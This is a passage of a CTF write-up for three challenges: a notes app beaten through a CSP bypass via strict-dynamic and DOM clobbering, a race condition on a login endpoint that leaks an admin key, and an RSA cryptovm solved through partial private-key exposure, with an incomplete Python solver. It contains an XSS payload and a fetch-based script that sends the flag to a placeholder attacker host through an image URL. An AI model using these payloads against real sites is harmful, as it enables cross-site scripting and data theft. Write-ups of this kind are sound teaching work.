<span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.title'</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="s1">'href'</span><span class="p">,</span> <span class="s1">'/notes/'</span> <span class="o">+</span> <span class="nx">note</span><span class="p">.</span><span class="nx">id</span><span class="p">);</span>
<span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.title'</span><span class="p">).</span><span class="nx">html</span><span class="p">(</span><span class="nx">note</span><span class="p">.</span><span class="nx">title</span><span class="p">);</span>
<span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.pin'</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="s1">'action'</span><span class="p">,</span> <span class="s1">'/notes/'</span> <span class="o">+</span> <span class="nx">note</span><span class="p">.</span><span class="nx">id</span> <span class="o">+</span> <span class="s1">'/pin'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">note</span><span class="p">.</span><span class="nx">pinned</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.pin-text'</span><span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="s1">'Unpin'</span><span class="p">);</span>
<span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.pin input[name="value"]'</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="s1">'value'</span><span class="p">,</span> <span class="s1">'0'</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.pin-text'</span><span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="s1">'Pin'</span><span class="p">);</span>
<span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.pin input[name="value"]'</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="s1">'value'</span><span class="p">,</span> <span class="s1">'1'</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.report'</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="s1">'href'</span><span class="p">,</span> <span class="s1">'/notes/'</span> <span class="o">+</span> <span class="nx">note</span><span class="p">.</span><span class="nx">id</span> <span class="o">+</span> <span class="s1">'/report'</span><span class="p">);</span>
<span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.delete'</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="s1">'action'</span><span class="p">,</span> <span class="s1">'/notes/'</span> <span class="o">+</span> <span class="nx">note</span><span class="p">.</span><span class="nx">id</span> <span class="o">+</span> <span class="s1">'/delete'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">body</span> <span class="o">=</span> <span class="nx">element</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="s1">'.body'</span><span class="p">);</span>
<span class="nx">note</span><span class="p">.</span><span class="nx">content</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">'</span><span class="err">\</span><span class="s1">n'</span><span class="p">).</span><span class="nx">forEach</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">text</span><span class="p">,</span> <span class="nx">line</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">el</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="s1">'<p></p>'</span><span class="p">);</span>
<span class="nx">el</span><span class="p">.</span><span class="nx">text</span><span class="p">(</span><span class="nx">text</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">line</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="nx">el</span><span class="p">.</span><span class="nx">addClass</span><span class="p">(</span><span class="s1">'lead'</span><span class="p">);</span>
<span class="nx">body</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="nx">el</span><span class="p">);</span>
<span class="p">});</span>
<span class="nx">container</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="nx">element</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">notes</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">notes</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">createNote</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">container</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="s2">"<p>You don't have any notes</p>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>
<p>jQuery get html contents of <code class="highlighter-rouge">#note</code> DOM to render notes and convert them to jQuery object.<br />
This html contents can be easily hijacked by overwriting <code class="highlighter-rouge">#note</code> DOM.<br />
Payload in <code class="highlighter-rouge">window.notes</code> bypasses all CSP restriction because <code class="highlighter-rouge">strict-dynamic</code> is enabled to propagate nonce from root script <code class="highlighter-rouge">notes.js</code>.
Then XSS is triggered even with inline script:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"title": {"test": "<div id=note><script>alert(1);//"},
"content": "test"
}
</code></pre></div></div>
<p><img src="/assets/dsctf-2018-teaser/fig3.png" alt="fig3.png" /></p>
<p>note that <code class="highlighter-rouge"></script></code> tag is treated as closing tag for <code class="highlighter-rouge"><script nonce="{nonce}"></code> which results in breaking <code class="highlighter-rouge">window.notes</code>.</p>
<p>Then, last step is just leaking flag.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="s2">`/admin/flag`</span><span class="p">)</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">res</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">text</span><span class="p">();</span>
<span class="p">})</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">text</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">el</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">'img'</span><span class="p">)</span>
<span class="nx">el</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="s2">`http://[HOSTNAME]/?c=</span><span class="p">${</span><span class="nx">text</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">'alert-success">'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="nx">split</span><span class="p">(</span><span class="s2">"<"</span><span class="p">)[</span><span class="mi">0</span><span class="p">]}</span><span class="s2">`</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">el</span><span class="p">)</span>
<span class="p">})</span>
</code></pre></div></div>
<p><code class="highlighter-rouge">DrgnS{Ar3_Y0u_T3mP14t3d?}</code></p>
<h2 id="enterprise">3NTERPRISE s0lution</h2>
<p>A weird authentication method is used in this application to login.
Users have to send request on two endpoints <code class="highlighter-rouge">/login/user</code> and <code class="highlighter-rouge">/login/auth</code> like 2FA.
Stragely, it tookes about 5 seconds to process <code class="highlighter-rouge">/login/user</code> and authentication was totally unstable. Session is usually expired after login and it was so stressful for me.<br />
For the first strange point, it seems that some communication with backend takes a couple of seconds on <code class="highlighter-rouge">/login/user</code>.</p>
<p>In authenticated area, user can post memo and it’s encrypted with specific key for each user.
Each post is decrypted with secret key at <code class="highlighter-rouge">/note/getkey</code> on rendering.
There is admin’s encrypted post on <code class="highlighter-rouge">/note/show/0</code>.
The goal seems to get admin’s key and decrypt them.</p>
<p>After reading code carefully, I noticed race condition on <code class="highlighter-rouge">/login/user</code> to overwrite backend cache with arbitrary user’s secret key.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@app.route</span><span class="p">(</span><span class="s">'/login/user'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">do_login_user_post</span><span class="p">():</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">get_required_params</span><span class="p">(</span><span class="s">"POST"</span><span class="p">,</span> <span class="p">[</span><span class="s">'login'</span><span class="p">])[</span><span class="s">'login'</span><span class="p">]</span>
<span class="n">backend</span><span class="o">.</span><span class="n">cache_save</span><span class="p">(</span>
<span class="n">sid</span><span class="o">=</span><span class="n">flask</span><span class="o">.</span><span class="n">session</span><span class="o">.</span><span class="n">sid</span><span class="p">,</span>
<span class="n">value</span><span class="o">=</span><span class="n">backend</span><span class="o">.</span><span class="n">get_key_for_user</span><span class="p">(</span><span class="n">username</span><span class="p">)</span>
<span class="p">)</span>
<span class="n">state</span> <span class="o">=</span> <span class="n">backend</span><span class="o">.</span><span class="n">check_user_state</span><span class="p">(</span><span class="n">username</span><span class="p">)</span>
<span class="k">if</span> <span class="n">state</span> <span class="o">></span> <span class="mi">0</span><span class="p">:</span>
<span class="n">add_msg</span><span class="p">(</span><span class="s">"user has {} state code ;/ contact backend admin ... "</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">state</span><span class="p">))</span>
<span class="k">return</span> <span class="n">do_render</span><span class="p">()</span>
<span class="n">flask</span><span class="o">.</span><span class="n">session</span><span class="p">[</span><span class="n">K_LOGGED_IN</span><span class="p">]</span> <span class="o">=</span> <span class="bp">False</span>
<span class="n">flask</span><span class="o">.</span><span class="n">session</span><span class="p">[</span><span class="n">K_AUTH_USER</span><span class="p">]</span> <span class="o">=</span> <span class="n">username</span>
<span class="k">return</span> <span class="n">do_302</span><span class="p">(</span><span class="s">"/login/auth"</span><span class="p">)</span>
</code></pre></div></div>
<p><code class="highlighter-rouge">backend.cache_save</code> is called with username in user’s request without checking.</p>
<p>So the strategy is:</p>
<ol>
<li>login as normal user</li>
<li>send request to <code class="highlighter-rouge">/users/login</code> with username <code class="highlighter-rouge">admin</code></li>
<li>send request to <code class="highlighter-rouge">/note/getkey</code> simultaneously with step 2</li>
<li>decrypt admin’s post using leaked key</li>
</ol>
<p>It works, but got only first part of the key which is not enough to decrypt whole contents.</p>
<p>After a couple of hours, one of team members Paul succeeded to decrypt post by posting message with adding some <code class="highlighter-rouge">\x00</code>.
Basically <code class="highlighter-rouge">/note/getkey</code> glows as user post longer message. That’s why I couldn’t get the flag :P</p>
<h2 id="cryptovm">cryptovm</h2>
<p>Given <code class="highlighter-rouge">vm.c</code> is tiny VM. <code class="highlighter-rouge">example_code</code> and <code class="highlighter-rouge">example_keys</code> are sample byte code and key pairs file for VM.</p>
<h3 id="overview">Overview</h3>
<p>This cryptovm can calculate some arithemitic operations about RSA.
<code class="highlighter-rouge">keys</code> file is loaded as list of <code class="highlighter-rouge">n</code> and <code class="highlighter-rouge">d</code> pair which is used to calculate, each <code class="highlighter-rouge">n</code> is 1024 or 2048 bits called WEAKBYTES or STRONGBYTES.</p>
<p>This VM has following internal states.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define NUM_KEYS 16
#define NUM_MEM 16
</span>
<span class="cp">#define MEM_SIZE 512
</span>
<span class="k">struct</span> <span class="n">vm_state</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">rsaKey</span> <span class="n">rsaKeys</span><span class="p">[</span><span class="n">NUM_KEYS</span><span class="p">];</span>
<span class="kt">char</span> <span class="n">flag</span><span class="p">[</span><span class="n">FLAG_SIZE</span><span class="p">];</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">isSuperUser</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">isDebug</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">codeSize</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">code</span><span class="p">[</span><span class="n">CODESIZE</span><span class="p">];</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">ip</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">mem</span><span class="p">[</span><span class="n">NUM_MEM</span><span class="p">][</span><span class="n">MEM_SIZE</span><span class="p">];</span>
<span class="k">struct</span> <span class="n">rsaKey</span> <span class="n">currentKey</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>
<p>Most important member is rsaKeys and currentKey.</p>
<ul>
<li>rsakeys
<ul>
<li>preloaded RSA key paris from <code class="highlighter-rouge">keys</code> file</li>
</ul>
</li>
<li>currentKey
<ul>
<li>current key used to calculate some value related to RSA</li>
</ul>
</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">rsaKey</span> <span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">bytes</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">n</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">exp</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="p">}</span> <span class="n">__attribute__</span><span class="p">((</span><span class="n">packed</span><span class="p">));</span>
</code></pre></div></div>
<ul>
<li>bytes
<ul>
<li>the length of bits used to load <code class="highlighter-rouge">n</code> and <code class="highlighter-rouge">exp</code></li>
</ul>
</li>
<li>n
<ul>
<li>public key</li>
</ul>
</li>
<li>exp
<ul>
<li>an exponent value to encrypt/decrypt RSA, this value is <code class="highlighter-rouge">e</code> (65537) or <code class="highlighter-rouge">d</code> (private key).</li>
</ul>
</li>
</ul>
<p><code class="highlighter-rouge">mem</code> is used as temporary register for calculation.</p>
<p>Available opcodes are as follows:</p>
<ul>
<li>OP_FLAG (0x0)
<ul>
<li>no operands</li>
<li>puts flag if <code class="highlighter-rouge">isSuperUser</code> is 1</li>
</ul>
</li>
<li>OP_GETPUB (0x1)
<ul>
<li>key_slot (1byte), mem_slot (1byte)</li>
<li>load public key to memory</li>
</ul>
</li>
<li>OP_SETMODE (0x2)
<ul>
<li>mode (1byte)</li>
<li>change bytes of <code class="highlighter-rouge">currentKey</code> to 128 (WEAKBYTES) or 256 (STRONGBYTES)</li>
</ul>
</li>
<li>OP_LOADPRIV (0x3)
<ul>
<li>key_slot (1byte)</li>
<li>load priavte key into <code class="highlighter-rouge">currentKey</code> if it is under WEAKBYTES mode</li>
</ul>
</li>
<li>OP_LOADPUB (0x4)
<ul>
<li>key_slot (1byte)</li>
<li>load public key into <code class="highlighter-rouge">currentKey</code></li>
</ul>
</li>
<li>OP_RSA (0x5)
<ul>
<li>msg (128 or 256 bytes), mem_slot (1byte)</li>
<li>calculate <script type="math/tex">\rm msg^{exp} \pmod{n}</script> using <code class="highlighter-rouge">currentKey</code></li>
</ul>
</li>
<li>OP_SUDO (0x6)
<ul>
<li>key_slot (1byte), mem_slot (1byte)</li>
<li>change <code class="highlighter-rouge">isSuperUser</code> to 1 if verify succeeded</li>
</ul>
</li>
<li>OP_ADD, OP_SUB, OP_MUL, OP_DIV, OP_MOD, OP_POWMOD, OP_INVERT (0x7 - 0xe)
<ul>
<li>some mem_slots</li>
<li>do some arithemitic calclation using <code class="highlighter-rouge">mem</code></li>
</ul>
</li>
<li>OP_PRINT (0xf)
<ul>
<li>mem_slot</li>
<li>print specific value of <code class="highlighter-rouge">mem</code> if <code class="highlighter-rouge">isDebug</code> is 1 for debugging purpose</li>
</ul>
</li>
<li>OP_EXIT (0x64)
<ul>
<li>no operands</li>
<li>exit VM</li>
</ul>
</li>
</ul>
<p>To get flag, user have to calculate correct RSA signature for message <code class="highlighter-rouge">"Please give me superuser permissions"</code> in memory, note that this signature should be for one 2048 bits key of <code class="highlighter-rouge">rsaKeys</code>.</p>
<p>The following is a summary of the above.</p>
<ul>
<li>User have to calculate arbitrary signature for 2048 bits one</li>
<li>User can load lower half part of private key into <code class="highlighter-rouge">currentKey.exp</code> using <code class="highlighter-rouge">OP_LOADPRIV</code> with WEAKBYTES mode</li>
<li>User can calculate <script type="math/tex">\rm msg^{exp} \pmod{n}</script> for loaded key</li>
<li>User can do some arithemitic calculations</li>
</ul>
<p>When I started to solve this challenge, it was too complicated to test even example code.
Then I wrote script to code parser and generator for debugging purpose.
After analyzing <code class="highlighter-rouge">example_code</code>, I noticed that is calculating correct signature for keyslot 7 in <code class="highlighter-rouge">example_keys</code> using <code class="highlighter-rouge">p</code> and <code class="highlighter-rouge">q</code>.</p>
<p>When I posted the results on Slack, one of the ASU professors Dr. Tiffany Bao got an idea to solve this challenge using <a href="https://link.springer.com/chapter/10.1007/978-3-642-16825-3_3">Publishing Upper Half of RSA Decryption Exponent</a> and we started to implement solver.</p>
<p>Basically the paper says that <code class="highlighter-rouge">d</code> can be approximated with following formula</p>
<script type="math/tex; mode=display">d \approx \frac{k}{e}\left(N+1\right) + \frac{1}{e}</script>
<p>under specific value <code class="highlighter-rouge">k</code> between 0 and <code class="highlighter-rouge">e</code>.
The error is ignored against lower half of <code class="highlighter-rouge">d</code> which means we can recover upper half of <code class="highlighter-rouge">d</code> using <code class="highlighter-rouge">n</code> and <code class="highlighter-rouge">e</code>.<br />
Also we know lower half of <code class="highlighter-rouge">d</code> but it exists only in <code class="highlighter-rouge">currentKey</code>.
Remember that we can calculate <script type="math/tex">\rm msg^{exp} \pmod{n}</script> using <code class="highlighter-rouge">currentKey</code> which equals to <script type="math/tex">\rm msg^{d_{lower}} \pmod{n}</script>.
Then we can calculate correct signature by calculating <script type="math/tex">\rm msg^{d_{upper}} \pmod{n}</script> and combine them using following formula:</p>
<script type="math/tex; mode=display">\rm msg^{d} \equiv msg^{d_{upper} + d_{lower}} \equiv msg^{d_{upper}} \cdot msg^{d_{lower}}</script>
<p>To calculate <script type="math/tex">\rm msg^{d_{upper}} \pmod{n}</script>, we have to bruteforce <code class="highlighter-rouge">k</code> from 0 to <code class="highlighter-rouge">e</code>.
<code class="highlighter-rouge">OP_SUDO</code> will not fail if the signature was incorrect, so we can try as much as possible at the same time.</p>
<p>Actually it takes over 5 hours to debug solver but finally we got flag 30 minutes before the CTF ends. Many thanks to Tiffany :)</p>
<p>here is final solver:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">print_function</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span><span class="p">,</span> <span class="n">long_to_bytes</span>
<span class="kn">import</span> <span class="nn">gmpy2</span>
<span class="kn">import</span> <span class="nn">commands</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">concurrent.futures</span>
<span class="kn">from</span> <span class="nn">subprocess</span> <span class="kn">import</span> <span class="n">Popen</span><span class="p">,</span> <span class="n">PIPE</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">NUM_KEYS</span> <span class="o">=</span> <span class="mi">16</span>
<span class="k">def</span> <span class="nf">parsekey</span><span class="p">(</span><span class="n">fp</span><span class="p">):</span>
<span class="n">_bytes</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">'<I'</span><span class="p">,</span> <span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">4</span><span class="p">))[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">_n</span> <span class="o">=</span> <span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span>
<span class="n">_exp</span> <span class="o">=</span> <span class="n">fp</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">256</span><span class="p">)</span>
<span class="k">return</span> <span class="p">{</span><span class="s">'bytes'</span><span class="p">:</span> <span class="n">_bytes</span><span class="p">,</span> <span class="s">'n'</span><span class="p">:</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">_n</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]),</span> <span class="s">'exp'</span><span class="p">:</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">_exp</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])}</span>
<span class="k">class</span> <span class="nc">Code</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="n">CODE_SIZE</span> <span class="o">=</span> <span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span>
<span class="n">MEM_SIZE</span> <span class="o">=</span> <span class="mi">512</span>
<span class="n">NUM_MEM</span> <span class="o">=</span> <span class="mi">16</span>
<span class="n">OPS</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">()</span>
<span class="n">OP_NAMES</span> <span class="o">=</span> <span class="p">[</span><span class="s">'flag'</span><span class="p">,</span> <span class="s">'getpub'</span><span class="p">,</span> <span class="s">'setmode'</span><span class="p">,</span> <span class="s">'loadpriv'</span><span class="p">,</span> <span class="s">'loadpub'</span><span class="p">,</span> <span class="s">'rsa'</span><span class="p">,</span> <span class="s">'sudo'</span><span class="p">,</span> <span class="s">'setmem'</span><span class="p">,</span>
<span class="s">'add'</span><span class="p">,</span> <span class="s">'sub'</span><span class="p">,</span> <span class="s">'mul'</span><span class="p">,</span> <span class="s">'div'</span><span class="p">,</span> <span class="s">'mod'</span><span class="p">,</span> <span class="s">'powmod'</span><span class="p">,</span> <span class="s">'invert'</span><span class="p">,</span> <span class="s">'print'</span><span class="p">,</span> <span class="s">'exit'</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">op_name</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">OP_NAMES</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]):</span>
<span class="n">OPS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">op_name</span>
<span class="n">OPS</span><span class="p">[</span><span class="mi">100</span><span class="p">]</span> <span class="o">=</span> <span class="s">'exit'</span>
<span class="n">MEM</span> <span class="o">=</span> <span class="p">[</span><span class="s">''</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">NUM_MEM</span><span class="p">)]</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">=</span> <span class="s">""</span>
<span class="bp">self</span><span class="o">.</span><span class="n">nbytes</span> <span class="o">=</span> <span class="mi">128</span>
<span class="k">def</span> <span class="nf">flag</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span>
<span class="k">def</span> <span class="nf">getpub</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key_slot</span><span class="p">,</span> <span class="n">mem_slot</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x01</span><span class="s">"</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">key_slot</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">mem_slot</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">setmode</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">mode</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x02</span><span class="s">"</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">mode</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">nbytes</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">:</span> <span class="mi">128</span><span class="p">,</span> <span class="mi">1</span><span class="p">:</span> <span class="mi">256</span><span class="p">}[</span><span class="n">mode</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">loadpriv</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key_slot</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x03</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">key_slot</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">loadpub</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key_slot</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x04</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">key_slot</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">rsa</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">mem_slot</span><span class="p">):</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">msg</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">nbytes</span><span class="p">,</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
<span class="c"># assert len(msg) == self.nbytes</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x05</span><span class="s">'</span> <span class="o">+</span> <span class="n">msg</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">mem_slot</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">sudo</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key_slot</span><span class="p">,</span> <span class="n">mem_slot</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x06</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">key_slot</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">mem_slot</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">setmem</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">mem_slot</span><span class="p">,</span> <span class="n">mem</span><span class="p">):</span>
<span class="n">mem</span> <span class="o">=</span> <span class="n">mem</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">MEM_SIZE</span><span class="p">,</span> <span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="c"># assert len(mem) == self.MEM_SIZE</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x07</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">mem_slot</span><span class="p">)</span> <span class="o">+</span> <span class="n">mem</span>
<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x08</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">sub</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x09</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">mul</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">data</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x0a</span><span class="s">'</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">div</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
